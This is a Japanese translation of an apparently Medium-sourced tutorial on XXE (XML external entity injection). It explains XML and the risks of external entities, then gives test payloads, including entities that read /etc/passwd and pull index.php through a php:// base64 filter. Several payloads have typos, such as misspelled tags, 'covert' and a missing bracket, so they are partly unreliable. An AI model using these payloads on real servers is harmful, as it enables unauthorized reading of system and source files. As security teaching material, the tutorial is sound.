ソース:

medium.com

脆弱性:XXE

 

訳:

1.XXE

まず「XXE」とは何でしょうか?

XXE (XML 外部エンティティ インジェクション) は、XML 外部エンティティインジェクションの略で。
名前が示すように、これは何を注入するインジェクション脆弱性ですか?XML 外部エンティティを。

 

2. イントロ XML

XML は広く使用されているマークアップ言語で、1990 年代後半に初めて標準化され、数え切れないほどのソフトウェア プロジェクトで採用されてきました。
構成ファイル、ドキュメント形式 (OOXML、ODF、PDF、RSS など)、画像形式 (SVGEXIF ヘッダー)、およびネットワーク プロトコル (WebDAV、CalDAV、XMLRPC、SOAPXMPPSAML、XACML など) に使用されます。
そのアプリケーションは非常に広範囲に及ぶため、問題が発生すると壊滅的な結果を招く可能性があります。

 

外部エンティティの解析プロセス中に、XML パーサーは、URL で指定されたスキーム (プロトコル) に基づいて、さまざまなネットワーク プロトコルおよびサービス (DNSFTP、HTTP、SMB など) をクエリできます。
外部エンティティは、ドキュメント内で動的な参照を作成する場合に便利です。
そのため、参照されたリソースに加えられた変更はドキュメント内で自動的に更新されます。
ただし、外部エンティティを処理すると、アプリケーションに対する多数の攻撃が発生する可能性があります。
これらの攻撃には、ローカル システム ファイルにアクセスしたり、さまざまなスキームの機能を通じて内部アプリケーションを操作したりして、パスワードや個人ユーザー データなどの機密データを漏洩することが含まれます。
これらの攻撃を他の実装上の欠陥と組み合わせることで、攻撃の範囲は、攻撃のコンテキストに応じて、クライアント側のメモリ破損、任意のコードの実行、さらにはサービスの中断にまで拡大する可能性があります。 

 

3. XXE への侵入テストを行う方法

まず、POST リクエスインターフェイスに遭遇したら、次のペイロードを試してみます。

 

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">
]>
<methodCall><methodName>&test;</methodName></methodCall>

 

応答でエラーが発生した場合:

 

<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test "nice string bro">]
>
<methodCall><methodName>&test;</methodName></methodCall>

 

上記の状況が発生した場合は、解析が可能であることを示しています。
ファイルを読んでみてください: 

 

<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test SYSTEM "file:///etc/passwd">]
>
<methodCall><medthodName>&test;</medthodName></medthodCall>

 

読み取ることができない場合は、PHP などの別のプロトコルを使用してみてください。

 

?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test SYSTEM "php://filter/covert.base64-encode/resource=index.php">]
>
<methodCall><methodName>&test;</methodName></methodCall>

 

得られた結果をbase64でデコードします。

 

ほなほな。